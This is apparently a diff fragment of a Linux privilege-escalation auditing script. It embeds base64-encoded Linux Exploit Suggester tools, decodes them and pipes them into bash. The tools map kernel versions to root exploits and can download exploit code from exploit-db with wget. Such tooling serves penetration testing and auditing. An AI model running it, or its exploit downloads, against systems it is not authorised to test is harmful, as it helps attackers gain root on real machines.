IiRUQUdTIgogICAgICAgIGZpCgogICAgICAgICMgaW5zZXJ0IHRoZSBtYXRjaGVkIGV4cGxvaXQgKHdpdGggY2FsY3VsYXRlZCBSYW5rIGFuZCBoaWdobGlnaHRlZCB0YWdzKSB0byBhcnJhcnkgdGhhdCB3aWxsIGJlIHNvcnRlZAogICAgICAgIEVYUD0kKGVjaG8gIiRFWFAiIHwgc2VkIC1lICcvXk5hbWU6L2QnIC1lICcvXlJlcXM6L2QnIC1lICcvXlRhZ3M6L2QnKQogICAgICAgIGV4cGxvaXRzX3RvX3NvcnRbal09IiR7UkFOS31OYW1lOiAke05BTUV9RDNMMW1SZXFzOiAke1JFUVN9RDNMMW1UYWdzOiAke3RhZ3N9RDNMMW0kKGVjaG8gIiRFWFAiIHwgc2VkIC1lICc6YScgLWUgJ04nIC1lICckIWJhJyAtZSAncy9cbi9EM0wxbS9nJykiCiAgICAgICAgKChqKyspKQogICAgZmkKZG9uZQoKIyBzb3J0IGV4cGxvaXRzIGJhc2VkIG9uIGNhbGN1bGF0ZWQgUmFuawpJRlM9JCdcbicKU09SVEVEX0VYUExPSVRTPSgkKHNvcnQgLXIgPDw8IiR7ZXhwbG9pdHNfdG9fc29ydFsqXX0iKSkKdW5zZXQgSUZTCgojIGRpc3BsYXkgc29ydGVkIGV4cGxvaXRzCmZvciBFWFBfVEVNUCBpbiAiJHtTT1JURURfRVhQTE9JVFNbQF19IjsgZG8KCglSQU5LPSQoZWNobyAiJEVYUF9URU1QIiB8IGF3ayAtRidOYW1lOicgJ3twcmludCAkMX0nKQoKCSMgY29udmVydCBlbnRyeSBiYWNrIHRvIGNhbm9uaWNhbCBmb3JtCglFWFA9JChlY2hvICIkRVhQX1RFTVAiIHwgc2VkICdzL15bMC05XS8vZycgfCBzZWQgJ3MvRDNMMW0vXG4vZycpCgoJIyBjcmVhdGUgYXJyYXkgZnJvbSBjdXJyZW50IGV4cGxvaXQgaGVyZSBkb2MgYW5kIGZldGNoIG5lZWRlZCBsaW5lcwogICAgaT0wCiAgICAjICgnLXInIGlzIHVzZWQgdG8gbm90IGludGVycHJldCBiYWNrc2xhc2ggdXNlZCBmb3IgYmFzaCBjb2xvcnMpCiAgICB3aGlsZSByZWFkIC1yIGxpbmUKICAgIGRvCiAgICAgICAgYXJyW2ldPSIkbGluZSIKICAgICAgICBpPSQoKGkgKyAxKSkKICAgIGRvbmUgPDw8ICIkRVhQIgoKICAgIE5BTUU9IiR7YXJyWzBdfSIgJiYgTkFNRT0iJHtOQU1FOjZ9IgogICAgUkVRUz0iJHthcnJbMV19IiAmJiBSRVFTPSIke1JFUVM6Nn0iCiAgICBUQUdTPSIke2FyclsyXX0iICYmIHRhZ3M9IiR7VEFHUzo2fSIKCglFWFBMT0lUX0RCPSQoZWNobyAiJEVYUCIgfCBncmVwICJleHBsb2l0LWRiOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCWFuYWx5c2lzX3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYW5hbHlzaXMtdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCWV4dF91cmw9JChlY2hvICIkRVhQIiB8IGdyZXAgImV4dC11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJY29tbWVudHM9JChlY2hvICIkRVhQIiB8IGdyZXAgIkNvbW1lbnRzOiAiIHwgY3V0IC1kJyAnIC1mIDItKQoJcmVxcz0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiUmVxczogIiB8IGN1dCAtZCcgJyAtZiAyKQoKCSMgZXhwbG9pdCBuYW1lIHdpdGhvdXQgQ1ZFIG51bWJlciBhbmQgd2l0aG91dCBjb21tb25seSB1c2VkIHNwZWNpYWwgY2hhcnMKCW5hbWU9JChlY2hvICIkTkFNRSIgfCBjdXQgLWQnICcgLWYgMi0gfCB0ciAtZCAnICgpLycpCgoJYmluX3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYmluLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCglzcmNfdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJzcmMtdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCVsgLXogIiRzcmNfdXJsIiBdICYmIFsgLW4gIiRFWFBMT0lUX0RCIiBdICYmIHNyY191cmw9Imh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2Rvd25sb2FkLyRFWFBMT0lUX0RCIgoJWyAteiAiJHNyY191cmwiIF0gJiYgWyAteiAiJGJpbl91cmwiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIidzcmMtdXJsJyAvICdiaW4tdXJsJyAvICdleHBsb2l0LWRiJyBlbnRyaWVzIGFyZSBhbGwgZW1wdHkgZm9yICckTkFNRScgZXhwbG9pdCAtIGZpeCB0aGF0LiBBYm9ydGluZy4iCgoJaWYgWyAtbiAiJGFuYWx5c2lzX3VybCIgXTsgdGhlbgogICAgICAgIGRldGFpbHM9IiRhbmFseXNpc191cmwiCgllbGlmICQoZWNobyAiJHNyY191cmwiIHwgZ3JlcCAtcSAnd3d3LmV4cGxvaXQtZGIuY29tJyk7IHRoZW4KICAgICAgICBkZXRhaWxzPSJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8kRVhQTE9JVF9EQi8iCgllbGlmIFtbICIkc3JjX3VybCIgPX4gXi4qdGd6fHRhci5nenx6aXAkICYmIC1uICIkRVhQTE9JVF9EQiIgXV07IHRoZW4KICAgICAgICBkZXRhaWxzPSJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8kRVhQTE9JVF9EQi8iCgllbHNlCiAgICAgICAgZGV0YWlscz0iJHNyY191cmwiCglmaQoKCSMgc2tpcCBEb1MgYnkgZGVmYXVsdAoJZG9zPSQoZWNobyAiJEVYUCIgfCBncmVwIC1vIC1pICIoZG9zIikKCVsgIiRvcHRfc2hvd19kb3MiID09ICJmYWxzZSIgXSAmJiBbIC1uICIkZG9zIiBdICYmIGNvbnRpbnVlCgoJIyBoYW5kbGVzIC0tZmV0Y2gtYmluYXJpZXMgb3B0aW9uCglpZiBbICRvcHRfZmV0Y2hfYmlucyA9ICJ0cnVlIiBdOyB0aGVuCiAgICAgICAgZm9yIGkgaW4gJChlY2hvICIkRVhQIiB8IGdyZXAgImJpbi11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKTsgZG8KICAgICAgICAgICAgWyAtZiAiJHtuYW1lfV8kKGJhc2VuYW1lICRpKSIgXSAmJiBybSAtZiAiJHtuYW1lfV8kKGJhc2VuYW1lICRpKSIKICAgICAgICAgICAgd2dldCAtcSAtayAiJGkiIC1PICIke25hbWV9XyQoYmFzZW5hbWUgJGkpIgogICAgICAgIGRvbmUKICAgIGZpCgoJIyBoYW5kbGVzIC0tZmV0Y2gtc291cmNlcyBvcHRpb24KCWlmIFsgJG9wdF9mZXRjaF9zcmNzID0gInRydWUiIF07IHRoZW4KICAgICAgICBbIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIiBdICYmIHJtIC1mICIke25hbWV9XyQoYmFzZW5hbWUgJHNyY191cmwpIgogICAgICAgIHdnZXQgLXEgLWsgIiRzcmNfdXJsIiAtTyAiJHtuYW1lfV8kKGJhc2VuYW1lICRzcmNfdXJsKSIgJgogICAgZmkKCiAgICAjIGRpc3BsYXkgcmVzdWx0IChzaG9ydCkKCWlmIFsgIiRvcHRfc3VtbWFyeSIgPSAidHJ1ZSIgXTsgdGhlbgoJWyAteiAiJHRhZ3MiIF0gJiYgdGFncz0iLSIKCWVjaG8gLWUgIiROQU1FIHx8ICR0YWdzIHx8ICRzcmNfdXJsIgoJY29udGludWUKCWZpCgojIGRpc3BsYXkgcmVzdWx0IChzdGFuZGFyZCkKCWVjaG8gLWUgIlsrXSAkTkFNRSIKCWVjaG8gLWUgIlxuICAgRGV0YWlsczogJGRldGFpbHMiCiAgICAgICAgZWNobyAtZSAiICAgRXhwb3N1cmU6ICQoZGlzcGxheUV4cG9zdXJlICRSQU5LKSIKICAgICAgICBbIC1uICIkdGFncyIgXSAmJiBlY2hvIC1lICIgICBUYWdzOiAkdGFncyIKICAgICAgICBlY2hvIC1lICIgICBEb3dubG9hZCBVUkw6ICRzcmNfdXJsIgogICAgICAgIFsgLW4gIiRleHRfdXJsIiBdICYmIGVjaG8gLWUgIiAgIGV4dC11cmw6ICRleHRfdXJsIgogICAgICAgIFsgLW4gIiRjb21tZW50cyIgXSAmJiBlY2hvIC1lICIgICBDb21tZW50czogJGNvbW1lbnRzIgoKICAgICAgICAjIGhhbmRsZXMgLS1mdWxsIGZpbHRlciBvcHRpb24KICAgICAgICBpZiBbICIkb3B0X2Z1bGwiID0gInRydWUiIF07IHRoZW4KICAgICAgICAgICAgWyAtbiAiJHJlcXMiIF0gJiYgZWNobyAtZSAiICAgUmVxdWlyZW1lbnRzOiAkcmVxcyIKCiAgICAgICAgICAgIFsgLW4gIiRFWFBMT0lUX0RCIiBdICYmIGVjaG8gLWUgIiAgIGV4cGxvaXQtZGI6ICRFWFBMT0lUX0RCIgoKICAgICAgICAgICAgYXV0aG9yPSQoZWNobyAiJEVYUCIgfCBncmVwICJhdXRob3I6ICIgfCBjdXQgLWQnICcgLWYgMi0pCiAgICAgICAgICAgIFsgLW4gIiRhdXRob3IiIF0gJiYgZWNobyAtZSAiICAgYXV0aG9yOiAkYXV0aG9yIgogICAgICAgIGZpCgogICAgICAgIGVjaG8KCmRvbmUK"
+ echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g"
+ echo ""
+fi
+
+if [ "$(command -v perl 2>/dev/null)" ]; then
+ print_2title "Executing Linux Exploit Suggester 2"
+ print_info "https://github.com/jondonas/linux-exploit-suggester-2"
+ les2_b64="IyEvdXNyL2Jpbi9wZXJsCnVzZSBzdHJpY3Q7CnVzZSB3YXJuaW5nczsKdXNlIEdldG9wdDo6U3RkOwoKb3VyICRWRVJTSU9OID0gJzInOwoKbXkgJW9wdHM7CmdldG9wdHMoICdrOmhkJywgXCVvcHRzICk7CmlmIChleGlzdHMgJG9wdHN7aH0pIHsKICAgIHVzYWdlKCk7CiAgICBleGl0Owp9OwoKcHJpbnRfYmFubmVyKCk7Cm15ICggJGtob3N0LCAkaXNfcGFydGlhbCApID0gZ2V0X2tlcm5lbCgpOwpwcmludCAiICBMb2NhbCBLZXJuZWw6IFxlWzAwOzMzbSRraG9zdFxlWzAwbVxuIjsKCm15ICVleHBsb2l0cyA9IGdldF9leHBsb2l0cygpOwpwcmludCAnICBTZWFyY2hpbmcgJyAuIHNjYWxhciBrZXlzKCVleHBsb2l0cykgLiAiIGV4cGxvaXRzLi4uXG5cbiI7CnByaW50ICIgIFxlWzE7MzVtUG9zc2libGUgRXhwbG9pdHNcZVswMG1cbiI7CgpteSAkY291bnQgPSAxOwpteSBAYXBwbGljYWJsZSA9ICgpOwpFWFBMT0lUOgpmb3JlYWNoIG15ICRrZXkgKCBzb3J0IGtleXMgJWV4cGxvaXRzICkgewogICAgZm9yZWFjaCBteSAka2VybmVsICggQHsgJGV4cGxvaXRzeyRrZXl9e3Z1bG59IH0gKSB7CgogICAgICAgIGlmICggICAgICRraG9zdCBlcSAka2VybmVsCiAgICAgICAgICAgICAgb3IgKCAkaXNfcGFydGlhbCBhbmQgaW5kZXgoJGtlcm5lbCwka2hvc3QpID09IDAgKQogICAgICAgICkgewogICAgICAgICAgICAkZXhwbG9pdHN7JGtleX17a2V5fSA9ICRrZXk7CiAgICAgICAgICAgIHB1c2goQGFwcGxpY2FibGUsICRleHBsb2l0c3ska2V5fSk7CiAgICAgICAgICAgIHByaW50ICIgIFxlWzAwOzMzbVtcZVswMG1cZVswMDszMW0kY291bnRcZVswMG1cZVswMDszM21dXGVbMDBtICI7CiAgICAgICAgICAgIHByaW50ICJcZVswMDszM20ka2V5XGVbMDBtIjsKICAgICAgICAgICAgcHJpbnQgIiBcZVswMDszM20oJGtlcm5lbClcZVswMG0iIGlmICRpc19wYXJ0aWFsOwoKICAgICAgICAgICAgbXkgJGFsdCA9ICRleHBsb2l0c3ska2V5fXthbHR9OwogICAgICAgICAgICBteSAkY3ZlID0gJGV4cGxvaXRzeyRrZXl9e2N2ZX07CiAgICAgICAgICAgIG15ICRtbHcgPSAkZXhwbG9pdHN7JGtleX17bWlsfTsKICAgICAgICAgICAgaWYgKCAkYWx0IG9yICRjdmUgKSB7CiAgICAgICAgICAgICAgICBwcmludCAiXG4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICggJGFsdCApIHsgcHJpbnQgIiAgICAgIEFsdDogJGFsdCAiOyB9CiAgICAgICAgICAgIGlmICggJGN2ZSApIHsgcHJpbnQgIiAgICAgIENWRS0kY3ZlIjsgfQogICAgICAgICAgICBpZiAoICRtbHcgKSB7IHByaW50ICJcbiAgICAgIFNvdXJjZTogJG1sdyI7IH0KICAgICAgICAgICAgcHJpbnQgIlxuIjsKICAgICAgICAgICAgJGNvdW50ICs9IDE7CiAgICAgICAgICAgIG5leHQgRVhQTE9JVDsKICAgICAgICB9CiAgICB9Cn0KcHJpbnQgIlxuIjsKCmlmICghQGFwcGxpY2FibGUpIHsKICAgIHByaW50ICIgIE5vIGV4cGxvaXRzIGFyZSBhdmFpbGFibGUgZm9yIHRoaXMga2VybmVsIHZlcnNpb25cblxuIjsKICAgIGV4aXQ7Cn0KCmlmIChleGlzdHMgJG9wdHN7ZH0pIHsKICAgIHByaW50ICIgIFxlWzE7MzZtRXhwbG9pdCBEb3dubG9hZFxlWzAwbVxuIjsKICAgIHByaW50ICIgIChEb3dubG9hZCBhbGw6IFxlWzAwOzMzbSdhJ1xlWzAwbSAvIEluZGl2aWR1YWxseTogXGVbMDA7MzNtJzIsNCw1J1xlWzAwbSAiOwogICAgcHJpbnQgIi8gRXhpdDogXGVbMDA7MzNtXmNcZVswMG0pXG4iOwogICAgcHJpbnQgIiAgU2VsZWN0IGV4cGxvaXRzIHRvIGRvd25sb2FkOiAiOwoKICAgIHdoaWxlICgxKSB7CiAgICAgICAgbXkgJGlucHV0ID0gPFNURElOPjsKICAgICAgICAkaW5wdXQgPX4gcy9ccysvL2c7CgogICAgICAgIGlmICgkaW5wdXQgPX4gL15hJC8pIHsKICAgICAgICAgICAgbXkgQHNlbGVjdGVkID0gKCk7CiAgICAgICAgICAgIGZvciAobXkgJGk9MTsgJGkgPD0gc2NhbGFyIEBhcHBsaWNhYmxlOyAkaSsrKSB7CiAgICAgICAgICAgICAgIHB1c2goQHNlbGVjdGVkLCAkaSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZG93bmxvYWRfZXhwbG9pdHMoXEBzZWxlY3RlZCwgXEBhcHBsaWNhYmxlKTsKICAgICAgICAgICAgbGFzdDsKICAgICAgICB9CiAgICAgICAgZWxzaWYgKCRpbnB1dCA9fiAvXigwfFsxLTldWzAtOV0qKSgsKDB8WzEtOV1bMC05XSopKSokLykgewogICAgICAgICAgICBteSBAc2VsZWN0ZWQgPSB1bmlxKHNwbGl0KCcsJywgJGlucHV0KSk7CiAgICAgICAgICAgIEBzZWxlY3RlZCA9IHNvcnQgeyRhIDw9PiAkYn0gQHNlbGVjdGVkOwogICAgICAgICAgICBpZiAoJHNlbGVjdGVkWzBdID4gMCAmJiAkc2VsZWN0ZWRbLTFdIDw9IHNjYWxhciBAYXBwbGljYWJsZSkgewogICAgICAgICAgICAgICAgZG93bmxvYWRfZXhwbG9pdHMoXEBzZWxlY3RlZCwgXEBhcHBsaWNhYmxlKTsKICAgICAgICAgICAgICAgIGxhc3Q7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgIHByaW50ICIgIFxlWzAwOzMxbUlucHV0IGlzIG91dCBvZiByYW5nZS5cZVswMG0gU2VsZWN0IGV4cGxvaXRzIHRvIGRvd25sb2FkOiAiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICBwcmludCAiICBcZVswMDszMW1JbnZhbGlkIGlucHV0LlxlWzAwbSBTZWxlY3QgZXhwbG9pdHMgdG8gZG93bmxvYWQ6ICI7CiAgICAgICAgfQogICAgfQp9OwpleGl0OwoKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyBleHRyYSBmdW5jdGlvbnMgICMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKCnN1YiBnZXRfa2VybmVsIHsKICAgIG15ICRraG9zdCA9ICcnOwoKICAgIGlmICggZXhpc3RzICRvcHRze2t9ICkgewogICAgICAgICRraG9zdCA9ICRvcHRze2t9OwogICAgfQogICAgZWxzZSB7CiAgICAgICAgJGtob3N0ID0gYHVuYW1lIC1yIHxjdXQgLWQiLSIgLWYxYDsKICAgICAgICBjaG9tcCAka2hvc3Q7CiAgICB9CgogICAgaWYgKCFkZWZpbmVkICRraG9zdCB8fCAhKCRraG9zdCA9fiAvXlswLTldKyhbLl1bMC05XSspKiQvKSkgewogICAgICAgIHByaW50ICIgIFxlWzAwOzMxbVNwZWNpZmllZCBrZXJuZWwgaXMgaW4gdGhlIHdyb25nIGZvcm1hdFxlWzAwbVxuIjsKICAgICAgICBwcmludCAiICBUcnkgYSBrZXJuZWwgZm9ybWF0IGxpa2UgdGhpczogMy4yLjBcblxuIjsKICAgICAgICBleGl0OwogICAgfQoKICAgICMgcGFydGlhbCBrZXJuZWxzIG1pZ2h0IGJlIHByb3ZpZGVkIGJ5IHRoZSB1c2VyLAogICAgIyBzdWNoIGFzICcyLjQnIG9yICcyLjYuJwogICAgbXkgJGlzX3BhcnRpYWwgPSAka2hvc3QgPX4gL15cZCtcLlxkK1wuXGQ/LyA/IDAgOiAxOwogICAgcmV0dXJuICggJGtob3N0LCAkaXNfcGFydGlhbCApOwp9CgpzdWIgZG93bmxvYWRfZXhwbG9pdHMgewogICAgbXkgKCRzcmVmLCAkYXJlZikgPSBAXzsKICAgIG15IEBzZWxlY3RlZCA9IEB7ICRzcmVmIH07CiAgICBteSBAYXBwbGljYWJsZSA9IEB7ICRhcmVmIH07CiAgICBteSAkZXhwbG9pdF9iYXNlID0gInd3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cyI7CiAgICBteSAkZG93bmxvYWRfYmFzZSA9ICJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9yYXcvIjsKICAgIHByaW50ICJcbiI7CgogICAgZm9yZWFjaCBteSAkbnVtIChAc2VsZWN0ZWQpIHsKICAgICAgICBteSAkbWlsID0gJGFwcGxpY2FibGVbJG51bS0xXXttaWx9OwogICAgICAgIG5leHQgaWYgKCFkZWZpbmVkICRtaWwpOwogICAgICAgIG15ICgkZXhwbG9pdF9udW0pID0gKCRtaWwgPX4gL14uKlwvKFsxLTldWzAtOV0qKVwvPyQvKTsKICAgICAgICAKICAgICAgICBpZiAoJGV4cGxvaXRfbnVtICYmIGluZGV4KCRtaWwsICRleHBsb2l0X2Jhc2UpICE9IC0xKSB7CiAgICAgICAgICAgIG15ICR1cmwgPSAkZG93bmxvYWRfYmFzZSAuICRleHBsb2l0X251bTsKICAgICAgICAgICAgbXkgJGZpbGUgPSAiZXhwbG9pdF8kYXBwbGljYWJsZVskbnVtLTFde2tleX0iOwogICAgICAgICAgICBwcmludCAiICBEb3dubG9hZGluZyBcZVswMDszM20kdXJsXGVbMDBtIC0+IFxlWzAwOzMzbSRmaWxlXGVbMDBtXG4iOwogICAgICAgICAgICBzeXN0ZW0gIndnZXQgJHVybCAtTyAkZmlsZSA+IC9kZXYvbnVsbCAyPiYxIjsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIHByaW50ICIgIE5vIGV4cGxvaXQgY29kZSBhdmFpbGFibGUgZm9yIFxlWzAwOzMzbSRhcHBsaWNhYmxlWyRudW0tMV17a2V5fVxlWzAwbVxuIjsgCiAgICAgICAgfQogICAgfQogICAgcHJpbnQgIlxuIjsKfQoKc3ViIHVuaXEgewogICAgbXkgJXNlZW47CiAgICBncmVwICEkc2VlbnskX30rKywgQF87Cn0KCnN1YiB1c2FnZSB7CnByaW50X2Jhbm5lcigpOwpwcmludCAiICBcZVswMDszNW1Vc2FnZTpcZVswMG0gJDAgWy1oXSBbLWsga2VybmVsXSBbLWRdXG5cbiI7CnByaW50ICIgIFxlWzAwOzMzbVtcZVswMG1cZVswMDszMW0taFxlWzAwbVxlWzAwOzMzbV1cZVswMG0gSGVscCAodGhpcyBtZXNzYWdlKVxuIjsKcHJpbnQgIiAgXGVbMDA7MzNtW1xlWzAwbVxlWzAwOzMxbS1rXGVbMDBtXGVbMDA7MzNtXVxlWzAwbSBLZXJuZWwgbnVtYmVyIChlZy4gMi42LjI4KVxuIjsKcHJpbnQgIiAgXGVbMDA7MzNtW1xlWzAwbVxlWzAwOzMxbS1kXGVbMDBtXGVbMDA7MzNtXVxlWzAwbSBPcGVuIGV4cGxvaXQgZG93bmxvYWQgbWVudVxuXG4iOwoKcHJpbnQgIiAgWW91IGNhbiBhbHNvIHByb3ZpZGUgYSBwYXJ0aWFsIGtlcm5lbCB2ZXJzaW9uIChlZy4gMi40KVxuIjsKcHJpbnQgIiAgdG8gc2VlIGFsbCBleHBsb2l0cyBhdmFpbGFibGUuXG5cbiI7Cn0KCnN1YiBwcmludF9iYW5uZXIgewpwcmludCAiXG5cZVswMDszM20gICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtXG4iOwpwcmludCAiXGVbMTszMW0gICAgTGludXggRXhwbG9pdCBTdWdnZXN0ZXIgJFZFUlNJT05cZVswMG1cbiI7CnByaW50ICJcZVswMDszM20gICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXGVbMDBtXG5cbiI7Cn0KCnN1YiBnZXRfZXhwbG9pdHMgewogIHJldHVybiAoCiAgICAndzAwdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjEwJywgJzIuNC4xNicsICcyLjQuMTcnLCAnMi40LjE4JywKICAgICAgICAgICAgJzIuNC4xOScsICcyLjQuMjAnLCAnMi40LjIxJywKICAgICAgICBdCiAgICB9LAogICAgJ2JyaycgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi40LjEwJywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsICcyLjQuMjInIF0sCiAgICB9LAogICAgJ2F2ZScgPT4geyB2dWxuID0+IFsgJzIuNC4xOScsICcyLjQuMjAnIF0gfSwKCiAgICAnZWxmbGJsJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzIuNC4yOSddLAogICAgICAgIG1pbCAgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNzQ0JywKICAgIH0sCgogICAgJ2VsZmR1bXAnICAgICAgPT4geyB2dWxuID0+IFsnMi40LjI3J10gfSwKICAgICdlbGZjZCcgICAgICAgID0+IHsgdnVsbiA9PiBbJzIuNi4xMiddIH0sCiAgICAnZXhwYW5kX3N0YWNrJyA9PiB7IHZ1bG4gPT4gWycyLjQuMjknXSB9LAoKICAgICdoMDBseXNoaXQnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi44JywgICcyLjYuMTAnLCAnMi42LjExJywgJzIuNi4xMicsCiAgICAgICAgICAgICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDA2LTM2MjYnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDEzJywKICAgIH0sCgogICAgJ2tkdW1wJyA9PiB7IHZ1bG4gPT4gWycyLjYuMTMnXSB9LAogICAgJ2ttMicgICA9PiB7IHZ1bG4gPT4gWyAnMi40LjE4JywgJzIuNC4yMicgXSB9LAogICAgJ2tyYWQnID0+CiAgICAgIHsgdnVsbiA9PiBbICcyLjYuNScsICcyLjYuNycsICcyLjYuOCcsICcyLjYuOScsICcyLjYuMTAnLCAnMi42LjExJyBdIH0sCgogICAgJ2tyYWQzJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuNScsICcyLjYuNycsICcyLjYuOCcsICcyLjYuOScsICcyLjYuMTAnLCAnMi42LjExJyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL2V4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzEzOTcnLAogICAgfSwKCiAgICAnbG9jYWwyNicgPT4geyB2dWxuID0+IFsnMi42LjEzJ10gfSwKICAgICdsb2tvJyAgICA9PiB7IHZ1bG4gPT4gWyAnMi40LjIyJywgJzIuNC4yMycsICcyLjQuMjQnIF0gfSwKCiAgICAnbXJlbWFwX3B0ZScgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi40LjIwJywgJzIuMi4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycgXSwKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTYwJywKICAgIH0sCgogICAgJ25ld2xvY2FsJyA9PiB7IHZ1bG4gPT4gWyAnMi40LjE3JywgJzIuNC4xOScgXSB9LAogICAgJ29uZ19iYWsnICA9PiB7IHZ1bG4gPT4gWycyLjYuNSddIH0sCiAgICAncHRyYWNlJyA9PgogICAgICB7IHZ1bG4gPT4gWyAnMi40LjE4JywgJzIuNC4xOScsICcyLjQuMjAnLCAnMi40LjIxJywgJzIuNC4yMicgXSB9LAogICAgJ3B0cmFjZV9rbW9kJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjQuMTgnLCAnMi40LjE5JywgJzIuNC4yMCcsICcyLjQuMjEnLCAnMi40LjIyJyBdLAogICAgICAgIGN2ZSAgPT4gJzIwMDctNDU3MycsCiAgICB9LAogICAgJ3B0cmFjZV9rbW9kMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywgJzIuNi4zMCcsICcyLjYuMzEnLAogICAgICAgICAgICAnMi42LjMyJywgJzIuNi4zMycsICcyLjYuMzQnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdpYTMyc3lzY2FsbCxyb2JlcnRfeW91X3N1Y2snLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTAyMycsCiAgICAgICAgY3ZlID0+ICcyMDEwLTMzMDEnLAogICAgfSwKICAgICdwdHJhY2UyNCcgPT4geyB2dWxuID0+IFsnMi40LjknXSB9LAogICAgJ3B3bmVkJyAgICA9PiB7IHZ1bG4gPT4gWycyLjYuMTEnXSB9LAogICAgJ3B5MicgICAgICA9PiB7IHZ1bG4gPT4gWyAnMi42LjknLCAnMi42LjE3JywgJzIuNi4xNScsICcyLjYuMTMnIF0gfSwKICAgICdyYXB0b3JfcHJjdGwnID0+IHsKICAgICAgICB2dWxuID0+IFsgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnIF0sCiAgICAgICAgY3ZlICA9PiAnMjAwNi0yNDUxJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMjAzMScsCiAgICB9LAogICAgJ3ByY3RsJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA0JywKICAgIH0sCiAgICAncHJjdGwyJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA1JywKICAgIH0sCiAgICAncHJjdGwzJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA2JywKICAgIH0sCiAgICAncHJjdGw0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDExJywKICAgIH0sCiAgICAncmVtYXAnICAgICAgPT4geyB2dWxuID0+IFsnMi40J10gfSwKICAgICdyaXAnICAgICAgICA9PiB7IHZ1bG4gPT4gWycyLjInXSB9LAogICAgJ3N0YWNrZ3JvdzInID0+IHsgdnVsbiA9PiBbICcyLjQuMjknLCAnMi42LjEwJyBdIH0sCiAgICAndXNlbGliMjQnID0+IHsKICAgICAgICB2dWxuID0+IFsgJzIuNi4xMCcsICcyLjQuMTcnLCAnMi40LjIyJywgJzIuNC4yNScsICcyLj